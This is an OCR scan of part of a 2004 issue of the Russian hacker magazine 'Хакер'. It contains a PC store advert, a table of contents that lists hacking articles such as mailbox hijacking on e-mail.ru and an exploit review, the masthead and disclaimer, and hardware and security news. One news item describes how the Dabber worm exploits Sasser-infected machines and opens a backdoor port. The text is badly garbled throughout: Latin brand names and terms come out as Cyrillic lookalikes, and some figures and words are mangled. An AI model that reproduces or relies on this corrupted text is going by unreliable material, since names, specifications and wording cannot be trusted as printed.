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РОІ.АПІ8 



МНОГОКАНАЛЬНЫЙ 

(^ 7 - 55555-7 

ТЕЛЕФОН КЛИЕНТСКОЙ СЛУЖБЫ 




РЕШЕНОі 

учиться и 



Процессор ІпІеІ®Реп1іит®4 стехнологией НТ расширит 
возможности ваших домашних развлечений. 

• Смотрите ваше любимое телешоу уже сегодня. 

• Создавайте домашнее кино и записывайте к нему музыку. 



• Редактируйте цифровые фотографии, а затем покажите их 



друзьям на компьютере, телевизоре или на ѵѵеЬ-сайте. 




Компьютер РСНАРІЗ А^еІМТ на базе процессора ІпЕеІ®РепІіит®4 
с технологией НТ позволит Вам наслаждаться кино, музыкой и 
фотографиями вместе с друзьями. 




Компьютер можно заказать с доставкой по телефону: 
(095) 970-1939 или на интернет-сайте зИор.пІ.ги 




• 3-хлетнее бесплатное обслуживание, включая год полной гарантии 

• бесплатное обслуживание на рабочем месте в Москве (в пределах МКАД) 

• 100% предпродажное тестирование 

• отличные характеристики для работы дома и в офисе 




\л/ѵѵѵѵ.роІагіз.ги | іп1ю@роІагІ5.ги 



ОБЪЕДИНЕННАЯ РОЗНИЧНАЯ СЕТЬ Р О І_ А П I 5 



г. Москва, м. Сокол, Волоколамское шоссе, 2 (095) 151-5503 

г. Москва, м. Шаболовская, ул. Шаболовка, 20 (095) 237-8240 

г. Москва, м. Красносельская, ул. Краснопрудная, 22/24 (095) 262-8039 

г. Москва, м. Комсомольская, ун-г «Московский», 4 эт., пав. 27 (095) 916-5627 

г. Москва, м. Профсоюзная, Нахимовский пр-т, 40 (095) 129-1119 

г. Москва, м. Площадь Ильича, ул. С. Радонежского, 29/31 (095) 278-5470 

г. Москва, м. Савеловская, ВКЦ «Савеловский», пав.: 024 (095) 784-6385 

г. Москва, м. Щукинская, ул. Новощукинская, 7 (095) 935-8727 

г. Москва, м. Пражская, ТЦ «Электронный рай», пав.: 1Б-47 (095) 389-4622 

г. Москва, м. Люблино, ТК «Москва», 2 этаж, 1 линия (095) 359-8915 

г. Москва, м. Савеловская, Сущевский вал, 3/5 (095) 973-1133 

г. Москва, м. Багратионовская, ТВК «Горбушкин Двор», пав.: Е2-14/15 (095) 730-1549 
г. Москва, ул. Малая Дмитровка, 1/7 НОВЫЙ (095) 200-3060 

г. Москва, м. Красносельская, ул. Русаковская, 2/1 (095) 264-1333 

г. Москва, м. Динамо, ул. 8 Марта, 10, стр. 1 (095) 363-9333 

г. Москва, м. Братиславская, ул. Братиславская, 16, стр. 1 (095) 347-9638 

г. Москва, м. Дмитровская, ул. Башиловская, 29/27 (095) 797-8064 



г. Санкт-Петербург, м. Пр. Просвещения, ТК «Норд», пав. 204 (812) 331-6244 

г. Санкт-Петербург, м. Академическая, ТК «Грэйт», пав. 28 (812) 590-8480 

г. Н.Новгород, ул. Пискунова, 30 (8312) 78-0861 

г. Н.Новгород, м. Канавинская, ТЦ «Новая Эра», 1 этаж (8312) 16-9787 

г. Н.Новгород, ТЦ «Новая Эра», «Цифровая студия Р01.АВІ5» (8312) 16-9788 

г. Ростов-на-Дону, пр-т Буденновский, 11/54 (8632) 62-3978 

г. Ростов-на-Дону, пр-т Буденновский, 80 (8632) 92-4242 

г. Ростов-на-Дону, пр-т Нагибина, 34Л, ТЦ «Поиск» (8632) 72-5472 

г. Ростов-на-Дону, пр-т Ворошиловский, 12 (8632) 40-5353 

г. Воронеж, ул. Колыдовская, 82 (0732) 72-7391 

г. Воронеж, пр-т Революции, 44 (0732) 20-5055 

• Магазин с бесплатной доставкой по Москве зііор.піги (095) 970-1939 

• Отдел корпоративных решений: ул. 8 Марта, д. 10, стр. 1 (095) 363-9333 




репТішп Ц 



Логотипы N1 СотріЛег и Р0І_АРІЗ являются зарегистрированными знаками их владельцев. Іпіеі, Іпіеі Іпзісіе І_о^о, Репііит являются зарегистрированными торговыми знаками корпорации ІпіеІ и ее дочерних компаний в США и других странах. 



При покупке компьютера обратите внимание установлена ли лицензионная операционная система М іеговой® ѴѴіпсІоѵѵз® ХР. Только в этом случае РОЬАПІЗ может гарантировать надежность работы компьютеров. 






ньюсы 



N Т Е N Т 




Заметил, в каком бурном 
потоке информации ты жи- 
вешь? Заметил, как твой 
мозг постоянно атакуют 
какими-нибудь ненужными 
вещами: что-то втирают по 
телеку, объясняют по ра- 
дио, показывают на рек- 
ламных щитах. . . Тебе фор- 
мируют «правильный» об- 
раз жизни, «правильные» 
желания, «правильные» 
потребности. Ты припод- 
нят на деньгах и не знаешь, 
как ты должен жить? Поче- 
му же, ответ есть: одевай- 
ся в Егтепедіісіо 2едпа, ка- 
тайся на Аибі А8, ходи в Зи- 
му. За тебя уже давно все 
определено. Тебе не надо 
изобретать велосипед. 

Но тут возникает другой 
вопрос. Вобрав в свою 
жизнь все материальные 
ценности и потребности, 
станешь ли ты счастли- 
вым? Будешь ли ты радо- 
ваться каждому моменту? 
Хочется сказать «да», но 
так ли это? Тот же Сиддха- 
ртха Г аутама имел все ма- 
териальные блага, но при 
этом положил глобальный 
... Он все бросил и стал 
странствовать в поисках 
обретения самого себя. 
Ведь путь материального 
потребления - совсем не 
духовное развитие. Конеч- 
но, ты будешь получать 
удовольствие от получе- 
ния новых вещей. Но как 
долго это будет длиться? 
Может, гораздо правиль- 
нее понять самого себя, 
следовать своим внутрен- 
ним правилам, никого не 
слушая, и тогда ты ста- 
нешь по-настоящему 
счастливым? 

СиТТег 

сиПег@геаІ. хакер. г и 




04/МегаНьюсы 



ГЕНКИН 



/Два или один? 

/Как обслужить свой ПК 



РС20КЕ 



20/Стирка по вызову 
24/Двойной онлайн 
28/РТР под контролем 
32/Секреты маскировки 




Мобильная телепатия 



ВЕРШИНО 

ПОРНО-БИЗНЕСО 




Мы нашли настоящего порно- 
магната и он поведал нам все 
секреты этого незаконного 
в России бизнеса. 



Быстрее, выше, сильнее 




46/Наск-РРр 

48/Бопьшая дыра в маленьком форуме 
5 1 /8бзор эксплойтов 
52/Вершина порнобизнеса 
56/Видеогпазки интернета 
68/Споварь начинающего 
адупт-опигарха 
62/Угон ящиков на е-таіі.ги 
64/Сквозь огненные стены 
68/Продаем свой код 
78/Эксппойтный пикбез 
74/Картонные проблемы 
77/Конкурс взлома 



СЦЕН» 



78/Тет-а-тет с Информзащитой 
82/ІС8’шнаяхаксцена 
86/Как тусят кернеп-хакеры 
98/Хакерский Гоппивуд 



ПРЕДОХРПНЯЙСЯ 

носками! 




Как сделать миниатюрный 
-сервер на РегГе. 



УГОН ЯЩИКОВ НО Е-МПІШ 




Найден очередной баг 
в популярном почтовом 
сервисе Е-паіІ.гіі. 







РТР ПОД КОНТРОЛЕМ 




94/Пица хаксцены 




10 Пингвин-тепезритепь 
/Мобильные юниксы ѵоі.1 



кодинг 



1 08/Трепанация дня почтовой мыши 
1 1 2 Пдские тиски правосудия 



/РЕДАКЦИЯ 
>Главный редактор 

Александр «2роі$оп5» Сидоровский 
(2роі50п8@геаІ.хакер.ги) 

>Выпускающий редактор 

Иван «СиТТег» Петров 
(сийег@геаІ.хакер.ги) 

>Редаюгоры рубрик 
ВЗЛОМ 

Никита «Иікііоз» Кислицин 
(пікіі 02 @геаІ.хакер.ги) 

РС 20ИЕ 

Михаил «М .^.Аз^^» Жигулин 
(т.].азб@геа1.хакер.ги) 

СЦЕНА 

Олег «тіпсіѵѵОгк» Чебенеев 
(тіпФѵОгк@геаІ.хакер.ги) 

ІШІХОЮ 

Андрей «Апсігизітоск» Матвеев 
(апЦ гизІіоск@ геаі .хакер . г и ) 

КОДИНГ 

Александр «Ог.КІоипіі» Лозовский 
(аІехапсіег@геаІ .хакер, ги) 

ЮНИТЫ и СО 

Андрей «зутЬіозіз» Рыбркин 

(зутЬіозіз@геаІ.хакер.ги) 

ИМПЛАНТ 
Алекс Целых 
(ебі1ог@1есІіпеѵѵ5.ги) 

>Литературный редактор 
Мария «Лиса» Альдубаева 
(1Кгеб@геа1.хакер.ги) 

/АВТ 

>Арт-директор 

Кирилл «КВОТ» Петров ( кегеІ@геаІ .хакер, ги ) 
Дизайн-студия «100%КПД», шѵѵ.ЮОкрсІ.ги 

>Мега-дизайнер 

Константин Обухов 

>Гипер-верстальщик 

Алексей Алексеев 



Полный набор утилит для 
работы с РТР: файловые 
серверы, РТР-клиенты, 
поисковые механизмы и 
средства мониторинга. 



ДВОЙНОЙ онпойн 




Рассматриваем принципы 
работы в Сети через 
несколько соединений 
одновременно. 



1 1 В/Ппагиатим Зруіод 
1 1 Ѳ/Предохраняйся носками! 
122/Обзор компонентов 



І.ЕЕСН 



1 2 іеесб 



КРЕПТИФФ 



130/Хаос 




1 36/ШароШПНЕ2 

144 им 

146 РОР 
150/Диско 
1 52/ё-таіІ 
1 54/Иумор 

157 Н-Сгеѵу 

158 И-Рішіе 
160/Треп с читателями 




РЕДНКЦИЯ НППОИИНПЕТ, ЧТО ВСЯ информация, КОТОРУЮ МЫ ПРЕДОСТНВПЯЕМ, 

россчитоно прежде всего но то, чтобы указать розничным компаниям 
и организациям но их ошибки в системой безспорности. 



/ІЫЕТ 

>ѴѴеЬВозз 

Скворцова Алена 
(АІуопа@геаІ.хакер.ги) 

>Редакгор сайта 
Леонид Боголюбов 
(ха@геаІ.хакер.ш) 

/РВ 

>РВ менеджер 

Агарунова Яна 
(уапа@датеІапсІ . ги ) 

/РЕКЛАМА 
>Руководитель отдела 

Игорь Пискунов 
(ідог@датеІапсІ.ги) 

>Менеджеры отдела 
Басова Ольга 
(оІда@датеІапс1.т) 

Крымова Виктория 
(ѵіка@датеІапсІ.ги) 

Емельянцева Ольга 
( 0 ІдаетІ@датеІапс 1 .ги) 

Рубин Борис 
(гиЬіп@датеІапсІ.ги) 

тел.: (095)935.70.34 
факс: (095) 924.96.94 

/ривызншс 

>Издатель 

Сергей Покровский 
(рокгоѵзку@датеІапсІ.щ) 
>Учредитель 
ООО «Гейм Лэнд» 

>Директор 
Дмитрий Агарунов 
(бтійі@датеІапсІ.ги) 
>Финансовый директор 
Борис Скворцов 
(Ьогіз@датеІапсІ.т) 

/ОПТОВАЯ ПРОДАЖА 
>Дирекгор отдела дистрибуции 
и маркетинга Владимир Смирнов 
(ѵІабітіг@датеІапс1.ги) 
>Менеджеры отдела 
>Оптовое распространение 
Степанов Андрей 
(апсІгеу@датеІапсі.ш) 

>Связь с регионами 
Наседкин Андрей 
(пазебкіп@датеІапсІ.ги) 

>Подписка - Попов Алексей 
>РН - Яна Агарунова 

тел.: (095)935.70.34 
факс: (095)924.96.94 

Технический директор 

Сергей Лянге 
(зегде@датеІапс].ги) 



/ДЛЯ ПИСЕМ 

101000, Москва, 

Главпочтамт, а/я 652, Хакер 
тада 2 іпе@геаІ.хакер.ги 

ІіНр://ѵѵѵт.хакер.ги 

Зарегистрировано в Министерстве Российской 
Федерации по делам печати, 
телерадиовещанию 
и средствам массовых коммуникаций 

ПИ № 77-11802 

от 14 февраля 2002 г. 

Отпечатано в типографии 
«ЗсапѴѴеЬ», Финляндия 

Тираж 75 000 экземпляров. 

Цена договорная. 

Мнение редакции не обязательно совпадает 
с мнением авторов. 

Редакция уведомляет: все материалы 
в номере предоставляются как 
информация к размышлению. 

Лица, использующие данную 
информацию в противозаконных целях, 
могут быть привлечены к 
ответственности. Редакция в этих случаях 
ответственности не несет. 

Редакция не несет ответственности 
за содержание рекламных объявлений в 
номере. За перепечатку наших материалов 
без спроса - преследуем. 




ИЕІ8 
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визуальный блог 




С тудент из Канады изобрел очки еуеВІод (ІнпІ.циееп$и.са), которые ведут избирательную запись того, что видит 
и слышит носящий их человек. Из множества аналогичных устройств очки выделяются датчиком контакта 
взглядов. І_ЕО-индикаторы вокруг линз испускают инфракрасный свет, создающий эффект "красных глаз" на 
зрачках окружающих. Если тебе заглядывают прямо в глаза, система автоматически включает рекордер. Сейчас 
изобретатель работает над увеличением зоны досягаемости с 1 до 4 метров. ■ 



НОВЫЕ ПРИКЛЮЧЕНИЯ РУССКИХ 



мая в Барселоне испанская полиция сказала: «Хэнды Хох» трем русским гражданам, арестованным по 
подозрению в организации криминальной группировки, действующей через интернет. Основным дости- 
жением виртуальной Бригады, в которую также входили двое эс- 
тонцев и один доминиканец, стало хищение 500 тыс. евро с раз- 
личных банковских счетов. Способ аферы все тот же - рассылка 
мессаг клиентам банка от якобы тех. персонала с просьбой уточ- 
нить информацию. По заявлению полиции, у банды были сообщ- 
ники в США, Австралии, Новой Зеландии и других странах, а ос- 
новной костяк работал в Англии. К поискам преступников прив- 
лекли десятки сотрудников правоохранительных органов из са- 
мых разных уголков земного шара. Какой срок будут мотать 
арестованные, сказать сложно. Но определенно немаленький. Из 
неофициальных источников известно, что главарем всей этой 
банды был русский мужик. Впрочем, кто бы сомневался? ■ 





«ЧЕРНЫЙ ЯЩИК» 
ДЛЯ ЛЮДЕЙ 



НІТЕСН 




М АЗА (м.паза.огд) анонсировала "чер- 
ный ящик" для людей. СРСЮ - порта- 
тивный приборчик для непрерывного мо- 
ниторинга здоровья его носителя. Уст- 
ройство размером с компьютерную мышь 
крепится на животе. Датчики прибора за- 
писывают физиологические параметры и 
в режиме реального времени передают их 
на контрольную аппаратуру. Фиксируются 
данные о пульсе, дыхании, температуре 
тела человека и других жизненно важных 
параметрах. Кроме того, СРСЮ регистри- 
рует давление и температуру внешней 
среды, физические перегрузки. Когда па- 
раметры достигают критической отметки 
и начинают угрожать здоровью, "черный 
ящик" издает тревожный звуковой сигнал. 
Новинка, в первую очередь, предназначе- 
на для контроля здоровья пилотов, астро- 
навтов, шахтеров и людей, переживаю- 
щих приступы болезней. Стоимость СРСЮ 
составит около 300 долларов. ■ 



КЛЛЕОЛ К800: ПЕРВЫЙ ПОШЕЛ! 




Н а прошедшей недавно 
пресс-конференции ме- 
неджеры фирмы АН предста- 
вили новый графический чип 
РАОЕОІЧ Х800 и первые гра- 
фические платы на его базе. 
Стоит заметить, что инфа об 
этом чипсете начала проса- 
чиваться в инет еще в начале 
весны, однако специалисты 
АН не торопились с релизом. 
В чипе РАОЕОІЧ Х800 приме- 
нена новая многопоточная 



система обработки пикселей 
и вертексов: заняты 16 кон- 
вейеров для работы с пиксе- 
лями и 6 конвейеров, обра- 
батывающих вертексы. По 
заявлениям инженеров ком- 
пании, производительность 
этого кристалла составляет 8 
млрд, пикселей и 800 млн. 
вертексов в секунду. Новый 
чип, как и его предшествен- 
ники, ориентирован на рынок 
бідб-епб графических уско- 



рителей. Камень произво- 
дится с использованием 
норм 0,13-мкм техпроцесса 
и диэлектриков с малой диэ- 
лектрической проницае- 
мостью на заводах компании 
Т5МС, партнера АТІ. Из но- 
вых технических фишек мож- 
но выделить систему сжатия 
карт нормалей, которая поз- 
воляет значительно эконо- 
мить видеопамять, перекла- 
дывая часть нагрузки на 




кристалл. Планируется, что в 
ближайшем будущем будут 
представлены платы на базе 
РАОЕОІЧ Х800 от таких произ- 
водителей, как АВІТ, А51І5, 
СідаЬуІе и т.д. 

Что же касается самой АТІ, 
та, пользуясь преимущест- 
вом, уже зарелизила два но- 



вых адаптера на основе 
РАОЕОІЧ Х800: РАОЕСЮ Х800 
ХТ РІабпит ЕбШоп и РАОЕОІЧ 
Х800 РРО. Первая плата ис- 
пользует процессор, работа- 
ющий на частоте 520 МГц, и 
имеет 256 Мб 1120-МГц па- 
мяти СЮОРЗ, стоит карточка 
$500. Вторая плата подешев- 
ле, $400, использует проц на 
частоте 475 МГц с 12 кон- 
вейерами и 900-мегагерцо- 
вую СЮОРЗ память. ■ 
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ФПЕШКР-ППЕЕР 



КОПОБОК-шпион 




ВОСКРЕСШИЙ 

РПСМПИ 




Д ревняя видеоарка- 
да РасМап ожила 
на улицах Нью-Йорка. В 
начале мая жителей ме- 
гаполиса ждал настоя- 
щий кошмар. Человек в 
желтом костюме с треу- 
гольным ртом убегал от 
разноцветных "привиде- 
ний", заправляясь едой 
в кафешках по пути. Из 
контрольного центра 
действиями игровых 
персонажей управляли 
по мобильнику и ѴѴі-Рі 
пятеро студентов с кар- 
той поля. Когда РасМап 
достигал перекрестка, 
он сообщал о своей но- 
вой позиции оператору, 
который свою очередь 
апдейтил карту на экра- 
не монитора - "съеден- 
ные" точки исчезали. 
Схватив бонус, РасМап 
начинал гоняться за 
привидениями, а те от 
него улепетывать. В об- 
щем, все как в компью- 
терной игре. Раунд 
длился от 10 до 40 ми- 
нут. Как выяснилось, 
безбашенная тусовка 
имеет отношение к про- 
екту Рас-МапбаМап. Ак- 
цию готовили больше 
года. На сайте иѵш.рас- 
тапУІап.сот можно ска- 
чать инструкции и бесп- 
латный софт для игры в 
реальный РасМап на 
улицах твоего города. ■ 



И зраильская компания СЮР 
Орігопісз (мшМорІхот) разра- 
ботала электронный шарик, шпионя- 
щий за окрестностями. "Глазное яб- 
локо" Еуе ВаІІ РІ1 выполнено из трехс- 
лойного каучука, который выступает 
амортизатором для сложной микроэ- 
лектроники. Это позволяет отправить 
Колобка в разведку точным броском 
или выстрелом из подствольного гра- 
натомета. Будучи заброшенным в тыл 
врага, Еуе ВаІІ самостабилизируется 
и организует всестороннюю слежку. 



Специальная линза дает обзор в 360 
градусов. А сверхчувствительный 
микрофон фиксирует малейшие зву- 
ки в радиусе 25 метров. Исходное 
изображение, передаваемое по бесп- 
роводной связи, имеет серьезные ис- 
кажения. Но дешифровка и преобра- 
зования на мощном компьютере шта- 
ба трансформируют его в четкую кар- 
тинку. Устройство уже поступило на 
вооружение военных. Теперь компа- 
ния готовит мирную версию "глазно- 
го яблока" Зтагі Еуе. ■ 



ІВМ Р01ИЕН5 







Н едавно фирма ІВМ презентовала свой новый 64-разрядный кристалл ІВМ 
Роѵѵегб, а также два сервера, функционирующих на его базе. Новый про- 
цессор призван составить конкуренцию 64-битным камням фирм АМЭ, Іпіеі и 
5ип. Роѵѵегб производится с использованием 130-микронного техпроцесса по 
технологии 501 (зііісоп-оп-іпзиіаіог, «кремний-на-диэлектрике»). Площадь 
каждого кристалла составляет 389 кв. мм, при этом внутри содержится 276 
млн. транзисторов, что почти на 60% больше количества транзисторов в пре- 
дыдущей модели Роѵѵег4. Многоконвейерная обработка данных реализована 
благодаря 2313 специальных ІО- модулей, а более эффективное рассеивание 
тепловой мощности достигается благодаря работе 3057 роѵѵег ІО-модулей. 
Вместе с этим Роѵѵегб поддерживает технологию 5МТ, которая обеспечивает 
одновременную работу двух процессорных ядер Роѵѵег. ■ 



ЖЕЛЕЗО 




И нтересное своей функциональностью 
устройство представила компания 
Капдиги Зоіиііопз. Это флеш-карта с интер- 
фейсом 115В, МРЗ/ѴѴМА-плеер и диктофон в 
одном корпусе. КапдигиМісго МРЗ Рго предс- 
тавлен 4 разновидностями: емкостью 64, 
128, 256 и 512 Мб. Цена младшего плеера в 
этой линейке составляет $75. Ниже приведе- 
ны основные спецификации новинки. 

А Интерфейс связи с компом: 115В 1.1 
а Поддерживаемые форматы: МРЗ, ША (8-256 кЬрз) 
л Вес без аккумулятора: 30 граммов 
А Размеры: 99x31x22 мм 
А Аудиовыход: 2x5 мВт, 20 Гц - 20 кГц 
А Тип используемой памяти: ІШб-срлеш 
а Истопник питания: аккумулятор стандарта АДА 
а Время работы от аккумулятора: 15 пасов 
а Потребляемый ток: при записи - 39,1-39,4 мА, 
при птении - 35,0-36,1 мА 
а Выдерживаемых циклов перезаписи: 1 млн. 
а Гарантированное время хранения данных: 10 лет 
а Выдерживаемые перегрузки: 1000 д ■ 



НО МІШІП 





0 выпуске двух новых системных плат 
сообщили недавно менеджеры компа- 
нии Сілаіпіесб. Обе новинки будут рабо- 
тать на базе чипсета ІЧѴЮІА пРогсеЗ-250. 
2Ш-250 2ЕІМІТН и 2Ш-250 1ЕШН Ѵаіие 
ЕсІШоп предназначены для работы с 64- 
разрядными процессорами АМЭ64, обо- 
рудованными интерфейсом ЗоскеІ-754. 
Максимальный объем установленной па- 
мяти 003200/266/333/400 - 2 Гб, платы 
оборудованы двумя каналами ШгаОМА 
100/133, четырьмя каналами 5АТА150 с 
поддержкой ПАЮ и интегрированным зву- 
ковым адаптером (7. 1 ѴІА ЕІѵІѴѴ 24РТ у ба- 
зовой и 5.1 СМЕОІА 9761 А в ѴЕ-версии). 
Новинки имеют восемь портов 115В 2.0, 
один 8х АСР-слот, пять разъемов РСІ. В 
базовой комплектации присутствует 3 
ІЕЕЕ1394 (100/200/400 Мбит/с) и 
ЮООтЬрз 1-АМ-карта. Покупателям ѴЕ- 
версии придется довольствоваться лишь 
стомегабитной Ейіегпеі-картой. ■ 
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ПОПЕТ СУПЕРИЕНО 




В Лондоне супермен из Техаса взлетел 
на высоту 1 2-этажного дома. Подъем 
в 46 метров он преодолел за 26 секунд. 
Затем сделал пируэт, повернулся на 360 
градусов и благополучно приземлился на 
парашюте. За спиной 41 -летнего каска- 
дера Эрика Скотта был реактивный ранец 
ВоскеІЬеІІ. Это устройство сконструиро- 
вали еще в 1961 году для армии США, но 
применение оно нашло только в наше 
время в каскадерских трюках. Генератор 
закреплен на оптоволоконном корсете, 
который надевает пилот. Топливом слу- 
жит перекись водорода, под нагревом 
вырывающаяся из пары сопел ранца. 
Этим прыжком Скотт поставил новый ми- 
ровой рекорд. Повторить его подвиг пока 
никто не решается. ■ 





Н овую 3-мегапиксельную камеру Орііо 
530, ориентированную на рынок недо- 
рогих цифровых аппаратов, представила 
компания Репіах. Планируется, что роз- 
ничная цена устройства не превысит 266 
долларов. Вот краткие его характеристики: 

А Матрица: 1/2,7", 3,2 млн. эффективных пикселей 
а Разрешение снимков: до 2048x1536 в формате ЭРЕО 
л Запись видеоклипов: 320х240@301р$ в формате АѴІ 
(Моііоп ЭРЕ6) 

л Объектив: с Зх оптическим увеличением, организация - 
6 элементов в 5 группах (включая два асферических) 
л Фокусное расстояние: 38-114 мм в 35-мм эквиваленте, 
72,6-4,8 

л Минимальная дистанция фокусировки: 0,4 м: в режиме 
макросьемки - 0,18-0,5 м, в режиме зирег шасго - 0,06-0,2 м 
а Экран: ЖК, 1,6" 

а Интерфейс для связи с ПК: 115В, поддержка РісЕВгібде 
а Память: 11 Мб встроенной, сменные носители - карты 50 
^ Питание: СК-ѴЗ 

а Размеры: 89x25,5x58,5 мм, вес - 175 г 
(с аккумулятором) ■ 
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ЖЕЛЕЗО 



І піеі продолжает расши- 
рять линейку своих сер- 
верных сетевых плат, ориен- 
тированных на использова- 
ние в больших дата-центрах 
и организациях, занимаю- 
щихся серьезными вычисле- 
ниями. Новый адаптер рабо- 
тает со скоростью 10 
Гбит/сек и выделяется сре- 
ди конкурентов сниженной 
за счет использования опти- 
ческой технологии ХРАК на 
40% ценой и удобным 
форм-фактором, позволяю- 
щим применять устройство 



в стандартных серверах да- 
же небольшого размера. 
Новинка поддерживает ра- 
боту со стандартными мно- 
гомодовыми оптоволокон- 
ными кабелями, чрезвычай- 
но распространенными в оп- 
тических сетях средней ру- 
ки. Таким образом, Іпіеі од- 
ной из первых удалось прео- 
долеть экономические и тех- 
нические проблемы, встав- 
шие на пути распростране- 
ния ЮОЬЕ-адаптеров. Что- 
бы обеспечить совмести- 
мость с самыми современ- 



ными коммутаторами, Іпіеі 
сотрудничает с ведущими 
производителями сетевых 
устройств: так, например, 
уже обеспечена полная сов- 
местимость 10-гигабитных 
адаптеров с Сізсо Саіаіузі 
6500, что позволяет добить- 
ся отличного показателя це- 
на/качество и начать повсе- 
местное внедрение новых 
технологий связи. Одновре- 
менно специалисты компа- 
ний проводят семинары и 
демонстрации продукции, 
чтобы помочь ІТ-менедже- 
рам в интервенции 1 0-гига- 
битных сетей на рынок свя- 
зи. Сетевые адаптеры Іпіеі 
РВО/1 ООЬЕ ЗВ уже прода- 
ются по относительно низ- 
кой цене - всего 4770 дол- 
ларов ;). ■ 




готовь сани петой 




В се-таки народная мудрость - это великая сила! Ведь даже 
подумать не мог тот предусмотрительный мужик-крестья- 
нин, который летом вместо того, чтобы пахать, с санями возил- 
ся, что его фраза будет актуальна через столько лет. Да не где- 
то, а в мире высоких технологий! 

Сегодня наши сани - это процессор АМЭ АІЫоп 64, а если точ- 
нее, то системный блок от компании В&К, внутри которого 
этот процессор и находится. Ну и пусть, что 64-битная версия 
ѴѴІпбоѵѵз еще в стадии бета-тестирования! Ну и пусть, что ни 
игр, ни программ, оптимизированных под новый процессор 
еще нет! Нас, хардкорных парней, которые смотрят вперед и 
сразу берут новинки, это не смутит! Ведь можно на нем запус- 
кать старые программы? Можно. Игры новые и старые? Тоже 
можно. А вот как это все работает, мы сейчас посмотрим. 
Смотреть мы будем на примере нового компьютера от компа- 
нии В&К, которая одной из первых выпустила на рынок систе- 
мы на основе процессора АІЫоп 64. 





Ооогп 



Как водится, сначала конфигурация. Итак: системная плата 
Риііізи-Зіетепз, процессор АІѴЮ АФІоп 64 3000+, 51 2 Мб опе- 
ративной памяти Затзипд РС3200, видеоплата АН Васіеоп 
9800 Рго 128 Мб, жесткий диск ѴѴезІегп Оідііаі Саѵіаг 8АТА 
объемом 75 Гб, комбо-драйв ОѴО-РІОМ/СО-НѴѴ от компании 
Золу, шестиформатный сагб-геабег. Сетевая и аудиоплаты 
встроены в системную. Корпус имеет дополнительный 90-мм 
вентилятор на задней панели, платы расширения могут уста- 
навливаться в системный блок без винтов, на специальные 
защелки, а на переднюю панель выведены два порта 115В, 
порт РігеѴѴіге, гнезда для микрофона и наушников. Блок пита- 
ния имеет мощность 300 Вт. Операционная система - русская 
версия ѴѴіпбоѵѵз ХР РгоТеззіопаІ. 

Главный вопрос - производительность. Она хороша как в син- 
тетических тестах, так и в реальных играх. Суди сам: ЗОМагк 
2003 - 5853 балла, АциаМагкЗ - 43956 баллов, Наіо - 40 Ірз, 
ІІпгеаІ Тоигпатепі 2004 - 75 Ірз. Вот так. И это при не самой 
мощной видеоплате. Кстати, довольно странное решение - ос- 
настить компьютер с таким мощным процессором средней ви- 
деоплатой. Наверняка любой уважающий себя геймер будет 
вынужден практически сразу ее заменить. А это автоматически 
повлечет за собой и покупку более мощного блока питания. 
Возможности для расширения неплохие - свободными оста- 
ются все гнезда РСІ, три пятидюймовых отсека для накопите- 
лей и отсеки для жестких дисков. К сожалению, оба трехдюй- 
мовых отсека заняты считывателем карт памяти и трехдюй- 
мовым дисководом. 

В общем и целом, этот системный блок производит хорошее 
впечатление. Конечно, в первую очередь благодаря мощному 
передовому процессору. Но не только - нормальный объем па- 
мяти, хорошие возможности для апгрейда, сагб геабег, порты 
РігеѴѴіге - все это тоже очень хорошо. Вот если бы еще блок пи- 
тания да видеоплата были помощнее... Но на ближайшее вре- 
мя сойдут и эти, а потом все равно пришлось бы покупать но- 
вые. Так что вперед - к светлому 64-битному будущему! ■ 




каким БУДЕТ 
ШИІ0Ѵ8ХР 




М ісгозоЙ выложила в 
Сети информацию о 
втором сервис-паке ХР, 
который ожидается в 
третьем квартале этого 
года. Основная его цель 
- повысить общий уро- 
вень безопасности ОС. 
По словам сотрудника 
М3 Редмонда, 5Р2 бу- 
дет собой представлять 
не просто набор закла- 
док, а всесторонне усо- 
вершенствованный код 
средств защиты. Новая 
фича «беііа раісіііпд» 
позволит сократить вре- 
мя загрузки апдейтов на 
80% за счет слива не 
цельных файлов, а до- 
полнений к ним. Также 
после установки 5Р2 
винда обзаведется 
собственным файрво- 
лом ѴѴіпбоѵѵз РігеѵѵаІІ, 
который в целях безо- 
пасности будет загру- 
жаться первым при 
старте системы и бло- 
кировать все неисполь- 
зуемые порты. Правда, 
только если не установ- 
лен файр другого про- 
изводителя. Отдельное 
внимание разработчики 
5Р2 уделили вопросу 
спама. Несмотря на то, 
что ІЕ вполне успешно 
блокирует попапы, с ус- 
тановкой сервис-пака 
эффективность борьбы 
с всплывающими окна- 
ми и флеш-рекламой 
будет еще выше. ■ 






нашел 
не все 
секреты? 
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ЧИТАЙ 

«ПУТЕВОДИТЕЛЬ»! 

ЖУРНАЛ 
ПРОХОЖДЕНИЙ 
И КОДОВ ДЛЯ 
КОМПЬЮТЕРНЫХ ИГР 




• 128 полос исчерпывающей информации об играх 

• Более 1500 чит-кодов 

• СО-диск с видеоуроками и базой кодов и прохождений 

• Двухсторонний постер с детальными картами 
уровней и тактическими схемами 

• Прикольная наклейка с кодами 

ѵ ѵ 
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МОДИНГ: пиво и дрова 



НІТЕСН 




Н орвежские модеры (Ііоте.по.пеі/Лорз) соорудили десктоп 
со встроенным холодильником. Системный блок ТиЬЬу 
выполнен целиком из дерева. Низкая теплопроводность 
этого материала и тепло, выделяемое холодильником, пот- 
ребовали создания специальной системы охлаждения. 
Десктоп буквально опутан трубками с циркулирующей во- 
дой. Потоки воздуха гоняют 26 вентиляторов от 80 до 120 
мм в диаметре с неоновой подсветкой, которая эффектно 
смотрится в темноте. Индикаторы и панель спрятаны за де- 
ревянной дверцей. В холодильник становится ящик пива, и 
даже место для норвежской воблы остается. ■ 



червь, живущий за счет вируса 




В Сети появился новый червячок, имя которому ОаЬЬег. Все бы ничего, но интересен способ, 
которым он размножается. Червь сканирует Сеть в поисках компов с открытым 5554 пор- 
том, определяя таким образом инфицированные вирусом Заззег винды. Затем, используя уяз- 
вимости в компоненте РТР-сервера виря, запускает на машине файл раскаде.ехе, прописывая 
себя в систему. После этого убивает процесс Заззег’а и удаляет его из системы, чтобы избе- 
жать своей повторной инсталляции. В результате этих манипуляций на писюке открывается 
порт 9898, служащий бэкдором для быстрого проникновения. Судя по всему, РаЬЬег стал пер- 
вым червем-паразитом, живущим за счет своих «коллег». ■ 



бюджетный оно 

1— і'»м питии мт— іи.. шм . 1 — ■ — — 



В середине июня 
компания РІтіІірз 
начинает поставки сво- 
его нового МЭ-проиг- 
рывателя РІтіІірз ОѴР 
630, ориентированного 
на низшую ценовую ка- 
тегорию: планируется, 
что средняя розничная 
цена не будет превы- 
шать $120. Помимо це- 



ны, устройство привле- 
кательно и размерами: 
